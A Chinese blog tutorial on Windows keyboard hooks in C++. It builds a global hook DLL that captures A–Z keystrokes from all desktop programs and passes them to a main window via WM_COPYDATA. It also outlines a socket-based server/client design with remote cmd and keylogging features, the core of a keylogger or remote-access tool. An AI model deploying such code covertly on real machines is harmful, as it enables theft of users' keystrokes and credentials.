zoukankan      html  css  js  c++  java
  • 键盘钩子

    HOOK 钩子

    HHOOK SetWindowsHookEx(
      int idHook,        // hook type
      HOOKPROC lpfn,     // hook procedure
      HINSTANCE hMod,    // handle to application instance
      DWORD dwThreadId   // thread identifier
    );
    

    键盘钩子

    WH_KEYBOARD
    

    钩全局/钩本地

    钩子链,谁最后下钩子,谁最先被调用

    void CHOOKMFCDlg::OnBnClickedHook()
    {
        // TODO:  在此添加控件通知处理程序代码
        
        g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
            (HOOKPROC)KeyboardProc, //回调函数
            NULL,   //表示第三方注入的DLL,全局钩子使用
            GetCurrentThreadId()    //线程id,0表示钩所有桌面程序
            );
        if (g_hhk == NULL)
        {
            AfxMessageBox(_T("下钩子失败"));
            return;
        }
    
        //否则就成功
    
    }
    
    HHOOK g_hhk;
    
    //键盘钩子回调函数
    LRESULT CALLBACK KeyboardProc(int code,       // hook code
        WPARAM wParam,  // virtual-key code
        LPARAM lParam   // keystroke-message information
        )
    {
        //调试输出工具,输出调试字符串
        //写日志
    
        OutputDebugStringA("keyboard pressed!");
    
    
    
        //调用下一个钩子
        return CallNextHookEx(g_hhk, code, wParam, lParam);
    }
    


    这里我按一下但是会显示两次,因为键盘按下和弹起是两个动作

    全局钩子需要一个DLL(动态链接库),程序依赖库,库提供了某些函数,我们需要编写一个dll,将hook函数放在dll中,然后让操作系统去使用该dll,让其钩住其他进程得键盘消息。
    exe(调用钩子函数) + Dll(编写钩子函数)

    DLL

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "stdafx.h"
    #include <stdio.h>
    
    //提供钩子回调函数
    HHOOK g_hhk;
    HMODULE g_hModule;
    //键盘钩子回调函数
    LRESULT CALLBACK KeyboardProc(int code,       // hook code
        WPARAM wParam,  // virtual-key code
        LPARAM lParam   // keystroke-message information
        )
    {
        //调试输出工具,输出调试字符串
        //写日志
    
        //OutputDebugStringA("keyboard pressed!");
        //虚拟键 我们键盘在我们windows中用一些宏来表示
        unsigned int nVKCode = wParam;
        //表示按了a-z
        char szBuf[256] = { 0 };
        if (nVKCode >= 'A' && nVKCode <= 'Z'){
            sprintf_s(szBuf, "%c pressed", nVKCode);
            OutputDebugStringA(szBuf);
        }
    
    
    
        //调用下一个钩子
        return CallNextHookEx(g_hhk, code, wParam, lParam);
    }
    
    //dll导出函数,提供给其他程序使用
    BOOL MySetHook(){
        g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
            (HOOKPROC)KeyboardProc, //回调函数
            g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
            0   //线程id,0表示钩所有桌面程序
            );
        if (g_hhk == NULL){
            return FALSE;
        }
    
        return TRUE;
    }
    
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
            //当dll被加载时调用
            //编写初始化操作 
            g_hModule = hModule;
    
        }
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        {
            //当dll被释放时候调用
            //编写反初始化操作
        }
            break;
        }
        return TRUE;
    }
    

    服务端 —socket—- 客户端
    1.cmd功能 <---管道----cmd 2.键盘记录 <--- ----dll(keyboard hook) 最简单的进程通信:发送消息WM_COPYDATA 这里我们创建一个win32项目 function.h

    #pragma once
    
    //创建socket
    int insocket();
    

    function.cpp

    #include "stdafx.h"
    #include "function.h"
    #include <winSock2.h>
    #include <windows.h>
    
    #pragma comment(lib,"ws2_32.lib")
    
    SOCKET s;
    
    int insocket(){
    
        //初始化
        WORD wVersionRequested;
        WSADATA wsaData;
        int err;
    
        wVersionRequested = MAKEWORD(2, 2);
    
        err = WSAStartup(wVersionRequested, &wsaData);
        if (err != 0) {
    
            return 0;
        }
    
        //创建套字节
        s = socket(AF_INET, SOCK_STREAM
            , 0);
    
        if (INVALID_SOCKET == s)
        {
            return 0;
        }
    
        // 绑定套字节  
        sockaddr_in soadder;
        soadder.sin_family = AF_INET;
        soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        soadder.sin_port = htons(10087);
        int len = sizeof(sockaddr_in);
        return 1;
    }
    

    创建一个函数insocket()用来创建socket
    然后在win32项目写入连接

        int nRte = insocket();
    
        if (nRte == 0)
        {
            OutputDebugStringA("error");
            return 0;
    
        }
    
        //connent
        sockaddr_in soadder = { 0 };
        soadder.sin_family = AF_INET;
        int len = sizeof(sockaddr_in);
        soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        soadder.sin_port = htons(10087);
    
        nRte = connect(s, (sockaddr*)&soadder, len);
    
        if (SOCKET_ERROR == nRte)
        {
            return 0;
        }
    

    创建全局句柄用来获取win32句柄给dll使用,因为dll里面获取键盘内容要发送给客户端所以要获取客户端句柄

     g_hWnd = hWnd;
        BOOL bRet = MySetHook(g_hWnd);
       if (!bRet){
           OutputDebugStringA("set hook error");
           return 0;
       }
    

    然后在回调函数里面进行处理

    case WM_COPYDATA:
        {
            //表示我们dll发送的数据,我们在这里接受并处理
            PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam;
            OutputDebugStringA((LPCSTR)pcds->lpData);
        }
    

    然后是dll代码

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "stdafx.h"
    #include <stdio.h>
    
    //提供钩子回调函数
    HHOOK g_hhk;
    HMODULE g_hModule;
    HWND g_hWnd;
    //键盘钩子回调函数
    LRESULT CALLBACK KeyboardProc(int code,       // hook code
        WPARAM wParam,  // virtual-key code
        LPARAM lParam   // keystroke-message information
        )
    {
        //调试输出工具,输出调试字符串
        //写日志
    
        //OutputDebugStringA("keyboard pressed!");
        //虚拟键 我们键盘在我们windows中用一些宏来表示
        unsigned int nVKCode = wParam;
        //表示按了a-z
        char szBuf[256] = { 0 };
        if (nVKCode >= 'A' && nVKCode <= 'Z'){
            sprintf_s(szBuf, "%c pressed", nVKCode);
            //OutputDebugStringA(szBuf);
            //改成向我们主窗口发送我们的键盘消息,WM_DATACOPY消息
            COPYDATASTRUCT cds;
            cds.dwData = 0;
            cds.cbData =strlen(szBuf)+1;    //表示数据的长度
            cds.lpData = szBuf; //表示数据
    
            SendMessage(g_hWnd, //向目标窗口发送消息 
                        WM_COPYDATA,
                        (WPARAM)g_hWnd,     //表示当前自己的窗口句柄,可以不写
                        (LPARAM)&cds    //构建一个结构体用于将数据传输
                        );
        }
    
    
    
        //调用下一个钩子
        return CallNextHookEx(g_hhk, code, wParam, lParam);
    }
    
    //dll导出函数,提供给其他程序使用
    BOOL MySetHook(HWND hWnd){
        g_hWnd = hWnd;
        g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型
            (HOOKPROC)KeyboardProc, //回调函数
            g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄
            0   //线程id,0表示钩所有桌面程序
            );
        if (g_hhk == NULL){
            return FALSE;
        }
    
        return TRUE;
    }
    
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
            //当dll被加载时调用
            //编写初始化操作 
            g_hModule = hModule;
    
        }
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        {
            //当dll被释放时候调用
            //编写反初始化操作
        }
            break;
        }
        return TRUE;
    }
    
  • 相关阅读:
    UVa 839 Not so Mobile
    UVa 548 Tree(中序遍历+后序遍历)
    UVa-679 Dropping Balls(二叉树的编号)
    Vue练习三十一:04_04_arguments应用_求出参数的和
    Vue练习三十:04_03_自动改变方向播放_幻灯片效果
    Vue练习二十九:04_02_自动播放_幻灯片效果
    Vue练习二十八:04_01_transition应用(未完成)
    Vue练习二十七:03_09_倒计时时钟
    Vue练习二十六:03_08_简易网页时钟
    Vue练习二十五:03_07_网页计算器
  • 原文地址:https://www.cnblogs.com/yicunyiye/p/13684422.html
Copyright © 2011-2022 走看看